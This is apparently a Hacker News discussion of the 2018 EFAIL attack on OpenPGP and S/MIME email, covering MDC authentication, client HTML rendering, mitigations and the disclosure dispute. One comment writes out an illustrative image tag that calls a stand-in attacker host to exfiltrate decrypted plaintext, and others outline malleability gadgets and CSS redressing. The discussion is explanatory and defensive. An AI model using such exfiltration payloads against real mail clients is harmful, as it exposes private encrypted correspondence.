> only-encrypted (not signed) message (signing is good > practice), Or the client decrypts it even if unsigned, or the attacker signs the message. > clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it) I think the client would not only need to use MDC, but also enforce its presence and validity, which is somewhat more likely to allow an attack. > client that rendered HTML mail with broken markup, The HTML5 specification defines exactly how HTML inputs should be processed for nearly every possible input, so this applies to any HTML5 compliant email client. > client that automatically fetches remote resources I have this turned off in my client, but many email users these days (possibly even those using GPG) have settings to automatically download remote content.

dimastopel 8y ago

Robert Hansen just sent the following email to the gnupg-users list: to GnuPG-Users [taps the mike] Hi. I maintain the official GnuPG FAQ. So let me start off by answering a question that is certainly about to be asked a lot: "Should we be worried about OpenPGP, GnuPG, or Enigmail? The EFF's advising us to uninstall it!" https://www.eff.org/deeplinks/2018/05/attention-pgp-users-new-vulnerabilities-require-you-take-action-now https://www.eff.org/deeplinks/2018/05/attention-pgp-users-ne... Werner saw a preprint of this paper some time ago. I saw it recently. Patrick Brunschwig of Enigmail saw it. None of us are worried. Out of respect for the paper authors I will skip further comment until such time as the paper is published. It would've been nice if EFF had reached out to us for comment, rather than apparently only talking to the paper authors. We hope they'll reach out next time.

patoh 8y ago
Werner Koch goes into further detail at the start of the gnupg-users thread @ https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...
- sambe 8y ago
  I'm reading this message with little context but it doesn't strike me as having reasons not to be worried. The two suggestions are: a) not to use HTML emails, which seems unlikely in practice; b) to use an obscure-sounding mode which has been implemented in such a way as to depend on the MUA doing multiple things correctly after the GPG code runs. What am I missing here? Is the latter mode on by default and MUA are widely known to correctly deal with the error code in a secure way?
  - klez 8y ago
    > not to use HTML emails, which seems unlikely in practice In a context where pgp is used, which is not me receiving promotional material or forwards from Grandma, why do you consider it unlikely that mail is to be sent as plaintext and not as html?
    - deong 8y ago
      Almost every email client defaults to HTML. There are going to be people using both encryption and HTML.
      - e12e 8y ago
        The idea that you can combine full hypertext and security is absurd. IMNHO this is the most significant problem with email (and many "secure" messaging stacks that allow "rich content"). Sure, it's possible to define a secure subset of html (basically bold/italics/underline, tables and headers). But everyone adds transclusion (in-line rendering of linked content, which leaks data and opens up the door to bugs), fonts (ie: programs), images (historically not a great idea), and some even Javascript! And that's not even all the muas that runs in the browser, and try to expose some safe subset of itself to be used for rendering the mail body. So, html Email is insecure, when contrasted with plain text email. Using pgp as "code signing" for hypertext applications ("html emails") isn't nearly enough. Sadly, afaik there's no agreed "safe" rich text format for mail. Absurdly rtf would probably be better than html mail. Anyway, I don't see how anyone could expect html mail to be safe in the first place.

ipioxu15 8y ago

Also discussed here: https://news.ycombinator.com/item?id=17063109 https://news.ycombinator.com/item?id=17063109

egeozcan 8y ago

If I understood correctly, I think this can be prevented by a single configuration change: "Do not automatically load inline content" but this is just speculation. I'd disable HTML rendering completely until everything becomes clearer.

gant 8y ago
Pretty much. Should have that as default anyway to avoid sending tracking beacons to spammers.
Tepix 8y ago
Yes, I think that's the default pretty much everywhere for obvious reasons. Of course some people configure exceptions for people in their address book, this could then be exploited by this issue.
dbrgn 8y ago
In the explanation of Table 5 in the paper (page 21), there's a list of attack vectors with the title "HTML attributes (bypasses for remote content blocking)". So apparently some of these attributes do bypass the inline content blocking on some mail clients, unless I read that wrong. It's important to note that most e-mail clients will use a webview to render e-mail. Blocking all kinds of remote content requires the developers to be really careful, and also probably violates the HTML spec. I tried to replicate the Thunderbird attack vector (H₂), but at least in the current version (52.7.0) it seems that the URL is not requested. Maybe that has been fixed in the meantime but was present in an older version? Disabling HTML rendering for now is probably the safest choice. There's not much that can go wrong when rendering a plaintext e-mail. (Edit: Added a sentence regarding webviews)

oblio 8y ago

While HTTPS is taking over web traffic, encrypted email could be considered a failure, at this point. I wonder what percentage of emails are encrypted using GPG. Based on my experience it's probably less than 0.001%.

zaarn 8y ago
E-Mail needs better tools and better standards than GPG IMO. For one, GPG tools are difficult to use. Anything beyond a simple 1-click-setup-ready-to-use-including-keyserver-publication will make any wide market adoption difficult. On the other, the GPG standard is a bit ... clunky. Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own. I imagine other, similar, improvements could be made, up and including having GPG also sign the email headers before pushing it out into the world.
- AnaniasAnanas 8y ago
  GPG is not a standard, the standard is OpenPGP. As for the tools, they seem very easy, especially engimail which IS 1-click setup. > add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own This is exactly what it is doing. PGP/MIME is a thing.
  - zaarn 8y ago
    Enigmail is far from friction free and no 1-click setup. I still have to go through key generation last I checked. And then publish those keys or give them to friends. If PGP/GPG wants adoption they need to eliminate those friction points, a TOFU model with automatic key redistribution should lower friction sufficiently but except TOFU there isn't much development in that direction. >This is exactly what it is doing. PGP/MIME is a thing. I don't think I ever received a single PGP/MIME email. I don't think a lot of people use PGP/MIME. It's a niche setting for a niche software.
    - 8y ago

simias 8y ago

So they gave up on the embargo or something? I thought it was supposed to be revealed tomorrow. It's for the best I suppose. I cringed a bit at the custom "efail.de" domain name though, that's so 2017.

adsche 8y ago
They claim their embargo was "broken" [1]. Maybe by this tweet [2] from GnuPG trying to clarify in what way PGP/GPG are "vulnerable." [1] https://twitter.com/seecurity/status/995964977461776385 https://twitter.com/seecurity/status/995964977461776385 [2] https://twitter.com/gnupg/status/995931083584757760 https://twitter.com/gnupg/status/995931083584757760

codezero 8y ago

Has anyone seen a tool that will go through a mailbox and check for this attack? I'm really curious if anyone can find an example of this in the wild before publication.

tazjin 8y ago

This hardly seems like an OpenGPG or S/MIME vulnerability to me and more like an XSS-like exploit of email clients.

maxerickson 8y ago
The encryption system should be saying "BAD MESSAGE" to the client and instead it is saying "Here's the message and some malware".
- jerf 8y ago
  I disagree. The encryption system should not know about HTML, and these messages are "BAD MESSAGE"s even if they are unencrypted. That clearly points at the mail client, not the encryption layer.
  - maxerickson 8y ago
    Both things are problems. The encryption system should definitely be communicating that the message was tampered with...
    - jerf 8y ago
      Well, again, the encryption system will. Or at least it can. (Apparently you can encrypt without signing? WTF use is that? But let's assume signatures are used.) The MIME structure of email is the problem here. It isn't OpenPGP's problem to solve, which we know because there is literally no way for them to solve it. No conceivable (sensible[1]) update to OpenPGP could fix the problem, so it can't be their responsibility. [1]: I mean, yeah, they could ship something that hacks the Thunderbird process and gets the rest of the email, but that's just crazy talk. Nothing that has a sensible API that fits with what Thunderbird is doing now can solve the problem.
      - tazjin 8y ago
        > Apparently you can encrypt without signing? WTF use is that? Sending a message without identifying the author, for example.

cromwellian 8y ago

I see how this can be used to exfiltrate an email you’ve sent to others, but th exploit doesn’t seem to show how to exfiltrate private emails between other parties. I mean, it’s an interesting bug, but since the only I can exfiltrate is the contents of plaintext I sent you in the same exploit then it doesn’t seem to leak anything other than any HTML email does. Am I missin something?

geocar 8y ago
Sure. Assume you're a state-actor who wants to read someone's email. You can force their ISP to add code to their SMTP server that adds an efail-pixel jacket, but you can't force them to turn over the customer keys.
- cromwellian 8y ago
  Ah ok, I see, it’s kind of a replay attack. Seems like SMIME itself is broken because it doesn’t do whole message integrity.
onlydnaq 8y ago
If I want to decrypt a message to you that I have intercepted I can create my own email containing a modification of the intercepted message and send it to you, causing you to send me the plaintext contents.
- usrusr 8y ago
  That's my understanding as well. Someone could try to make your email client img-src-get the plaintext of previously intercepted mails to a remote server, but it would be a very "noisy" attack: your typical PGP user would very quickly fall into a panic if they received all their old encrypted mail again, and for some reason the client would constantly beg for external image downloads in apparently plain text mails.

mehrdadn 8y ago

Tangent: Is it just me or does CBC (and block ciphers in general) always seem to be a troublemaker? Even if it's not directly at fault, it seems to always make everything more difficult to secure, and I don't recall ever having heard of a single benefit gained by using them. Why do people insist on using block ciphers instead of stream ciphers? What benefits do they have?

rocqua 8y ago
I heard once that people didn't like the regularity of the input of CTR mode. That might be why people back in the day preferred CBC. These days, the big downside to stream-ciphers is nonce-reuse. It can be hard to guarantee each message has a separate nonce on e.g. embedded platforms.
- mehrdadn 8y ago
  How can embedded platforms generate IVs but face trouble generating nonces? Aren't IVs also nonces? Or do you mean a different aspect of it is the problem?
  - consp 8y ago
    In this case (cbc) the IV is the nonce though for some kind of reason people like to mix words and make everyone's life more difficult. As far as I have encountered, almost always the word nonce applies to some randomization and IV is basically the first data into the system, even if it is not random. Since most embedded platforms have limited entropy and/or no hardware RNG it is more difficult to generate proper distinctive, unpredictable iv's (in the case of CBC). If most of the nonce is random and the rest predictable (like GCM) the same problem applies. The nonce for GCM for instance is at least 8 bytes random in most implementations. There are enough ways to generate sufficiently randomized iv's. People just don't bother usually. (guess 0 as an iv for instance on many embedded systems).
    - griffinmb 8y ago
      I think the issue is more that nonce reuse with stream ciphers like GCM result in a more catastrophic failure (i.e. secret key disclosure), whereas reusing the IV with CBC will only disclose whether some plaintext was encrypted multiple times. In an embedded platform where there is no easy way to ensure a nonce is not reused, the potential info disclosure may be preferable.

AnaniasAnanas 8y ago

To be honest, this is a really bad joke. Not only did they chose to go directly to the media/EFF without even informing the GPG people but they also attacked them[1] for not keeping quiet. Not to mention all the fud that was spread for an issue that is not even caused by GPG but by bad clients (in fact I am not aware of any client that is vulnerable to this). Shame both to the publishers of this and to the EFF for helping the spread of the FUD without even consulting the GPG people. [1]: https://twitter.com/seecurity/status/995936859980222464 https://twitter.com/seecurity/status/995936859980222464

AnaniasAnanas 8y ago
Also, the second attack seems quite similar to https://eprint.iacr.org/2005/033.pdf https://eprint.iacr.org/2005/033.pdf.
- tptacek 8y ago
  It's not. The MDC-stripping attack on PGP is very well known --- it's obvious from the structure of the protocol. The paper you're citing uses it to build a direct plaintext recovery attack similar to a padding oracle. Today's paper uses ciphertext malleability to inject active content that exfiltrates the plaintext.
AnaniasAnanas 8y ago
Also relevant https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060320.html https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...
- jwilk 8y ago
  This seems to contradict the earlier claim that "the GnuPG team was not contacted by the researchers".
  - Foxboron 8y ago
    It however confirms that the OpenPGP devs had no knowledge of an embargo, and thus didn't break any embargo. Sebastian Schinzel claimed they had to publish early because the embargo broke.

fabian2k 8y ago

From what I've read, I thought that in modern cryptographic methods you always authenticate and encrypt, in part to avoid attacks like this where an attacker can modify the encrypted message in some way. Does this mean that GnuPG and S/MIME don't authenticate/sign encrypted messages at all? Or that email clients still try to display encrypted messages that are not properly authenticated?

AnaniasAnanas 8y ago
OpenPGP does have a way to authenticate the messages, see https://tools.ietf.org/html/rfc4880#section-5.13 https://tools.ietf.org/html/rfc4880#section-5.13.
- dewyatt 8y ago
  Also tag 20 is the newer AEAD method: https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-04#page-60 https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-04...
  - AnaniasAnanas 8y ago
    Thanks for that, I was not aware of the draft. It seems that they provide support for OCB and EAX. I would prefer support for chapoly to be honest.
deleted 8y ago
[deleted]
baby 8y ago
Yup, they don't authenticate encrypted mails.

FrantaH 8y ago

"To decrypt the emails, he first manipulates their ciphertext by using appropriate malleability gadgets." - so if you use triple wrapping as per https://www.ietf.org/rfc/rfc2634.txt https://www.ietf.org/rfc/rfc2634.txt you are safe. e: To make the claim more precise: you must drop messages which are not triple wrapped and those which are triple wrapped, but inner signer is different from the outer signer.

foo101 8y ago

From the original article: > EFAIL describes vulnerabilities in the end-to-end encryption technologies OpenPGP and S/MIME that leak the plaintext of encrypted emails. I don't understand how this is being touted as vulnerabilities in OpenPGP and S/MIME. Sure there is undefined behavior in the OpenPGP and S/MIME standards but if implementations choose an insecure behavior for the undefined behavior, then it is a flaw in the implementation, not the standard.

giancarlostoro 8y ago
It's been mentioned by other comments here[0] that the team / group / individual(s) behind this paper didn't even contact the underlying development teams prior to publishing. The whole thing looks like they want to be able to say "yeah we uncovered xyz vulnerability" which they kind of could of, if they had just explained it's relevant to implementation and didn't attack the wrong projects in the process. There seems to be some level of unprofessional conduct[1] coming from the people writing the paper as well where they attack the projects on Twitter to try and silence them when their claims are refuted. [0]: https://news.ycombinator.com/item?id=17064360 https://news.ycombinator.com/item?id=17064360 [1]: https://twitter.com/seecurity/status/995936859980222464 https://twitter.com/seecurity/status/995936859980222464 (Note: I'm reiterating / summarizing the findings of AnaniasAnanas from here.)
- tptacek 8y ago
  This is false, and you should be embarrassed to have repeated it publicly. If you'd even taken the time to look at the Efail.de website, you'd see the (extensive) timeline of contacts the Ruhr team made, including liasing with CERT teams, starting last year.
Dylan16807 8y ago
The use of CBC without proper authentication sounds like a flaw in the standard to me. Especially the line in the FAQ about being able to create a fresh valid signature for an altered ciphertext is not good.
- 8y ago

tonetheman 8y ago

Does every attack now get some type of catchy name? It feels like when the weather channel randomly said they would start naming storms too.

mkj 8y ago

Huh, PGP encrypted messages aren't authenticated? (No HMAC etc)

deleted 8y ago
[deleted]
consp 8y ago
Most clients incorporate Authenticated Encryption but since some don't work well with it, it is not a decrypt failure if not present. It should be and solves the problem as per what Koch said [1]. [1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...
A1kmm 8y ago
If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret. GPG does optionally support signing, which provides for integrity for message contents, but it is optional, so is not a useful mitigation here. It supports a Modification Detection Code (MDC), which is just a hash of the message. In scenarios where GPG won't decrypt without an MDC being present, it would be a reasonable defence against this attack, because to generate a valid MDC, you would need to know the entire contents of the message, and if you know the entire contents of the message, you wouldn't gain anything from this attack.
- CiPHPerCoder 8y ago
  > If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret. No, they don't. I described a naive RSA+AES hybrid cryptosystem here that includes HMAC authentication without a pre-shared key: https://paragonie.com/blog/2018/04/protecting-rsa-based-protocols-against-adaptive-chosen-ciphertext-attacks https://paragonie.com/blog/2018/04/protecting-rsa-based-prot...
- floatboth 8y ago
  > optional, so is not a useful mitigation here Why in the heck does anyone ever send encrypted-only, non-signed messages?!?!

deleted 8y ago

[deleted]

Kenji 8y ago

That's an incredibly weak vulnerability. HTML images, seriously? Who the hell autoloads HTML images in email in 2018? If you don't autoload images, you're safe - so for example on Thunderbird, everyone is safe by default. This is not a big deal at all.

kennell 8y ago

As if a brand name, logo and website were not enough, even the white paper title is cringy clickbait: "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels". OpenPGP is not broken. Nothing in your paper has anything to do with OpenPGP. This is simply spreading overblown FUD for your 15 minutes of mainstream media fame.

simias 8y ago
I don't even understand why they needed to tease the thing one day in advance with measures that were so weird that nobody knew what to expect. "Stop decrypting email", right, super convenient and totally appropriate given the actual vulnerability. Next time maybe they'll say "don't touch your mouse until further notice". What difference would it have made if they had simply published this website straight away? Seemed like they were releasing the teaser for the next Captain America movie or something. This reminds me a bit of the "amdflaws" debacle, although that one was even shadier and might have been an attempt at manipulating AMD's stock price.
- mtremsal 8y ago
  The comparison with amdflaws seems unfair. My understanding is that while they demonstrate a flaw in some email clients, it would be enough for an attacker to exploit one vulnerable target amongst the recipients to retrieve the plaintext email. Given that one cannot confirm whether others have taken appropriate steps, this vulnerability seems serious enough, no?
  - simias 8y ago
    The amdflaws were real vulnerabilities too. The problem in both cases is that they messed up the disclosure so badly (in the case of amdflaws probably purposefully, here probably simply by mistake and maybe hubris) that you end up talking more about the disclosure than the problem itself. This one day "teaser" makes no sense from a security perspective, especially when it fails to actually tell you the proper way to mitigate the attack (no, "do not use PGP or S/MISE" is not a reasonable mitigation for people who actually rely on these technologies, especially when you can mitigate the attack by changing your settings or using a different client). Saying that PGP and S/MIME themselves are broken when it's mainly (but not entirely) a MUA problem is also rather disingenuous.

Sir_Cmpwn 8y ago

Even setting aside that this is an excellent example of how toxic the security community is, the real problem here is that HTML email is a steaming pile of crap. The number of vulnerabilities introducted by the mind bogglingly stupid idea of putting HTML in emails is staggering. You're better off only reading plaintext emails and sending the rest to /dev/null. Bonus: this gets a good deal of spam out of your inbox!

colemannugent 8y ago
Yeah, whoever thought that adding the attack/bug surface of a browser to the email client should be publicly shamed. I assume that aerc like mutt is not affected by this "vulnerability"?
- Tyr42 8y ago
  Yeah, mutt is safe https://pbs.twimg.com/media/DdJ_d_wWsAEclUs.jpg:large https://pbs.twimg.com/media/DdJ_d_wWsAEclUs.jpg:large
  - dmix 8y ago
    And the K-9 app seems safe which is the most popular way to use PGP on Android.
    - e12e 8y ago
      If true, that's great news. There are plenty of decent cli/desktop clients that make it easy to avoid html mail. Not so for Android, where apps seem likely to wrap some rich content control in order to render text (as html).
- Sir_Cmpwn 8y ago
  Aye.

deleted 8y ago

[deleted]

noguespi 8y ago

A lot of buzz for a not so critical vulnerability. Well it is critical but very hard to exploit because : 1. Hacker need to intercept the encrypted email. 2. HTML tags/remote content are blocked by default on most email client. Still an important vulnerability, but not enough (for me) to disable enigmail, I know I'm safe with blocked remote content. By the way I hate this kind of "buzz" disclosure. Just disclose fully or wait.

middleclick 8y ago
> I know I'm safe with blocked remote content. Curious, how?
- noguespi 8y ago
  Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker. Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE-- If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client. Anyway, the attacker still need to get a hand on your encrypted email.
  - dbrgn 8y ago
    What about attack vectors like this one (from the paper)? For example, in Thunderbird and Postbox we can completely redress the UI with CSS and trick the user into submitting the plaintext with an HTML form if he clicks somewhere into the message. That sounds like something that can easily happen, even with remote content disabled. (Edit: Formatting)
    - middleclick 8y ago
      Wouldn't disabling HTML email take care of this?
      - 8y ago

baby 8y ago

Matt Green gave a pretty good summary of this: https://twitter.com/matthew_d_green/status/995989254143606789 https://twitter.com/matthew_d_green/status/99598925414360678... Some of these thoughts are echoed by Filippo: > No, in 2018 you don’t get to claim the high ground and blame users and implementations if your crypto API returns the plaintext on a decryption error. from https://twitter.com/FiloSottile/status/996010161427935233 https://twitter.com/FiloSottile/status/996010161427935233 So yeah, most clients seem vulnerable but since the command line utility that pretty much no lambda users use is not broken HN is saying that this is a joke? As for contacting the PGP team, I've tried reaching out Werner Koch many time for a vuln in libgcrypt without success. That was 2 years ago, the vuln is still there.

aepiepaey 8y ago
So what would you expect GPG to do when invoked to operate on a pipe (rather than a file¹)? Buffer (possibly) gigabytes of decrypted data in memory, just to be able to discard it once DECRYPTION_FAILED is detected? ¹: where GPG does the right thing
- tptacek 8y ago
  Yes. It has one job!
- Xylakant 8y ago
  Aren’t modern ciphers checksummed and authenticated blockwise? If so, you could just abort the moment you see a broken block. Anything before that block would not be under the attackers control and harmless.
  - tptacek 8y ago
    Modern AE schemes are designed to make it easy to quickly abort the whole decryption operation as soon as an error is detected. But the PGP protocol is from the 1990s, and uses vanilla CBC or CFB and then tacks the SHA-1 hash of the plaintext to the end of the message in a separate record.

titzer 8y ago

Is this vulnerability seriously due to improperly escaped (quoted) inputs? Correct me if I am wrong, but FFS.

jcranmer 8y ago
Pretty much. This is the big fail of MIME, that literally concatenating different sections together into one document is the intended way of implementing much of multipart handling.

_bxg1 8y ago

The fact that emails can contain images and active HTML has caused a slurry of security problems over the years. Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.

acdha 8y ago
> Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default. This approach requires too much diligence for most cases: people will forget to switch to the encrypted system, they won’t have a key / it’s expired because they don’t use it regularly, the software will remain horrible because nobody uses it, etc. Encryption needs to be enabled and usable by default if you don’t want a regular stream of human error.

testcross 8y ago

Even protonmail says the authors were not responsible by letting EFF communicating so strongly... https://mobile.twitter.com/ProtonMail/status/996006094605570048 https://mobile.twitter.com/ProtonMail/status/996006094605570...

jwilk 8y ago
Non-mobile link: https://twitter.com/ProtonMail/status/996006094605570048 https://twitter.com/ProtonMail/status/996006094605570048

gepeto42 8y ago

Encryption plugins on top of other mail clients has always been a recipe for disaster. That being said, why would EFF tell people to completely uninstall it? When I hear that, I think "There is a crazy, in the wild, no user interaction needed remote code execution vulnerability". If someone had a use for PGP/GPG email (assuming they understand the threat model and the metadata that is not encrypted), surely they're better off with a buggy version that with pure cleartext?

deong 8y ago
I believe the recommendation is to use something like Signal or iMessage -- an end-to-end encrypted channel that isn't email.
- gsnedders 8y ago
  And which have perfect forward secrecy, which PGP will never have without adding some new per-message communication between the two parties (which would totally violate the layering on top of email).
bscphil 8y ago
Surely, telling users to uninstall it was a temporary measure until they can be certain that the bug is fixed. Without it removed, there was a risk that users could be quickly targeted with previously captured replayed messages and if their clients automatically decrypt then it would in fact be a disclosure vulnerability with no user interaction needed.

fouc 8y ago

TIL: I should be using Mutt.

tc 8y ago

Let's summarize the situation: Abstract: S/MIME and MUAs are broken. OpenPGP (with MDC) is not, but clients MUST check for GPG error codes. Use Mutt carefully or copy/paste into GPG for now. - Some mail clients concatenate all parts of a multipart message together, even joining partial HTML elements, allowing the decrypted plaintext of an OpenPGP or S/MIME encrypted part to be exfiltrated via an image tag. Mail clients shouldn't be doing this in any world, and can fix this straightforwardly. - S/MIME (RFC 5751) does not provide for authenticated encryption, so the ciphertext is trivially malleable. An attacker can use a CBC gadget to add the image tag into the ciphertext itself. We can't expect a mail client to avoid exfiltrating the plaintext in this case. S/MIME itself needs to be fixed (or abandoned). - OpenPGP (RFC 4880) provides for authenticated encryption (called "MDC", see sections 5.13 and 13.11 of the RFC) which would prevent a similar CFB-based gadget attack if enforced. GPG added this feature in 2000 or 2001. If the MDC tag is missing or invalid, GPG returns an error. If GPG is asked to write the plaintext as a file, it will refuse. When the output is directed to a pipe, it will write the output and return an error code [1]. An application such as an MUA using it in this manner must check for the error code before rendering or processing the result. It seems this requirement was not made clear enough to implementors. The mail clients need to release patches to check for this error. This will create an incompatibility with broken OpenPGP implementations that have not yet implemented MDC. - Even without clients enforcing or checking the authentication tag, it's a bit trickier to pull off the attack against OpenPGP because the plaintext may be compressed before encryption. The authors were still able to pull it off a reasonable percentage of the time. Section 14 of RFC 4880 actually describes a much earlier attack which was complicated in this same manner; it caused the OpenPGP authors to declare decompression errors as security errors. Net-net, using encrypted email with Mutt is safe [2, Table 4], though even there, opening HTML parts encrypted with S/MIME in a browser is not, and double-checking how it handles GPG errors would be prudent before forking a browser on any OpenPGP encrypted parts. See the paper for other unaffected clients, including Claws (as noted below) and K-9 Mail (which does not support S/MIME). Otherwise, it's probably best to copy and paste into GPG (check the error code or ask it to write to a file) until this is worked out. [1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031... [2] https://efail.de/efail-attack-paper.pdf https://efail.de/efail-attack-paper.pdf

kbumsik 8y ago

> The EFAIL attacks require the attacker to have access to your S/MIME or PGP encrypted emails. So the attacker needs to intercept email, but how they can access it?

tptacek 8y ago

This is the worst reaction to a serious and interesting vulnerability I think I've ever seen on HN. The problem being exploited today is that PGP isn't properly authenticated. PGP has an authenticator, but it's simply the SHA-1 of the plaintext appended to the message. Since even that SHA-1 was a later addition to the protocol, mainstream PGP implementations will process messages that lack the hash and decrypt the message. This is broken: a basic property of modern authenticated cryptography is not to present plaintext to the caller until integrity is checked. There are modern AEAD constructions that go through contortions to obtain that property. The attack is trivial and obvious in retrospect. Attackers strip off the SHA-1 authenticator of a message and then flip bits in the ciphertext to inject HTML that, when rendered, exfiltrates plaintext. The GPG project objects to the way this attack is characterized. If you strip the SHA-1 hash off a message, GPG will print a warning. But popular mainstream GPG clients don't honor that warning, which doesn't say "Stop, don't process this plaintext I am showing you", but rather "message was not integrity protected". The fact is, there isn't 1 cryptography engineer in 10 that knew exactly what GPG's behavior with a stripped MDC was or how they should check for it. This is, to me, an almost perfect analog of the event where it was revealed that the curl API didn't check TLS certificates on CURL_SSL_VERIFYHOST=1, but that was OK because the man page said you should use CURL_SSL_VERIFYHOST=2 if you wanted checking. Sure, programming languages cast "true" to 1, and there was literally no meaningful distrinction between 0 and 1 in curl's design, and, sure, dozens of applications were made insecure by that design decision, but, really, it's in the man page, so they should have known better. Is "don't render plaintext when an MDC isn't present in the message" in the GPG man page? Other people object because this exploit depends on HTML email to function. It's a vulnerability with HTML email readers, not PGP! That's an even dumber objection. It is precisely analogous to the argument that BEAST and CRIME and Lucky13 weren't vulnerabilities in TLS, because, after all, they depended on browser HTTP behavior in order to function. The right thing for GPG to have done was to not render plaintext at all if a valid MDC wasn't included in the message. To provide for compatibility and diagnostics in the vanishingly rare cases where it would be needed, they could have had a flag to restore the current insecure behavior. But, like curl, they did the opposite of the right thing, and now they're blaming downstream while implicitly doubling down on their own broken behavior. Not encouraging. Finally: several people, including the GPG project apparently, are claiming that the researchers behind this work didn't reach out to them. But Werner Koch himself said that the researchers reached out on November 24th of last year. This is a shitshow, but it's also probably going to be the best crypto attack of the year. Be careful dismissing it; I think that won't be a good look in the long run.

eyeareque 8y ago

If you use a Mac without in client decryption, you’re fine. Also, if you use little snitch, you’d catch the request going out if it was hosted on a site you haven’t white listed. Also, who allows image loading by default? Disable this if you haven’t yet. Spammers abused this for tracking a long time ago.

arca_vorago 8y ago

One more reason to stop using html emails people...

dane-pgp 8y ago
People would be more secure if the web didn't use HTML too (or certainly if it didn't have JavaScript), but trying to convince users not to like features of their software has never been a very productive security strategy.

jolmg 8y ago

Were the development teams of Apple Mail, iOS Mail and Mozilla Thunderbird contacted about this and given time to fix their issues before publication? The page makes no mention of this. It makes it look that this wasn't disclosed responsibly.

EthanHeilman 8y ago
>It makes it look that this wasn't disclosed responsibly. Not sure how anyone could say if the disclosure was or was not responsible based on who got advanced warning. Full-disclosure, i.e. all details without any prior warning, can be responsible disclosure. Coordinated disclosure, i.e. providing advanced warning, can be less responsible than full disclosure. It depends on the circumstances and surrounding context.
- jolmg 8y ago
  That might be true in general, but for this particular case, it would seem like it'd be irresponsible to disclose without giving advanced warning to the email client developers. We're talking about giving the chance for journalists, political activists, etc. to be protected from this bug via a typical, routine software update without having to know about the bug before their potential attackers. If the vulnerability is still on, it's now a race on who'll learn the news first, the potential attackers to exploit it or the potential victims to avoid it.

schadom 8y ago

So firewalling eg. Apple Mail with some personal firewall like LittleSnitch to allow only SMTP/IMAP/POP3 for outbound connections should easily mitigate the issue.

beders 8y ago

Isn't that a failure to implement MIME parsing correctly? The moment the MIME parser sees the BOUNDARY string, the part is finished. Then the content can be decoded and parsed, which is invalid HTML. Parsing MIME parts is not black magic.

ddtaylor 8y ago

What I'm taking away from this as a security researcher is that how you package the argument really matters. Heartbleed showed us that you need to have some PR savvy if you expect to get people to understand the impact of your research, but likewise this shows us that if you're not careful it can backfire. If these guys would have released it with very slightly different wording there wouldn't be as much backlash in this thread and arguing over semantics.

aleks_me2 8y ago

I have read the statement on eff https://www.eff.org/deeplinks/2018/05/not-so-pretty-what-you-need-know-about-e-fail-and-pgp-flaw-0 https://www.eff.org/deeplinks/2018/05/not-so-pretty-what-you... and can't think about that this is a PR for Signal. I assume that signal will start some e-mail services soon and try now to shade the current mostly safe communication tools in bad light. I hope I'm wrong, the future will it shows. It would be interesting to know if the https://darkmail.info/ https://darkmail.info/ initiate is still active. As far as I understand this solution are the metadata also invisible at the transport level. Can anyone shade a light on this?

craigphicks 8y ago

The EFAIL is particularly effective because it can surround every whole encrypted block B with chosen encrypted binary to yield ABC which decrypts to "...<img src="...[plaintext of b]...">. Yet it also has the limitation that it cannot further divide the encrypted block B. Also, EFAIL depends upon plaintext of B being part of and HTML attribute value. Attribute values have a choice of only three final delimiters: doublequote (") singlequote (') and space ( ). So if every plaintext that is encrypted as a single block is prefaced by those three characters, then EFAIL cannot what comes after those characters. (Call it an obfuscation string). Play round with this sandbox https://try.jsoup.org/%7E_nyXks5PuAs-zJeek8CVhpuAvtI to see how that works. I've written in more detail at A Solution for Sending Messages Safely from EFAIL-safe Senders to EFAIL-unsafe Receivers https://github.com/craigphicks/efail-safe-send-to-insec-recv/wiki The thing about new EFAIL reading-safe versions that somehow force or Strongly! advise to use MDC is that some readers won't update for years. And that becomes the problem of the sender when their messages are exfiltrated. Only if the message format is changed so that old readers can't read new messages ... but there are obvious drawbacks to that. That's why I think this sender-safe solution, even if its a bit ugly, is worth considering. Any implementation would have to be close to the encryption module, to avoid any mistakes aligning the obfuscation string with the encryption boundary start, actively checking that alignment is correct.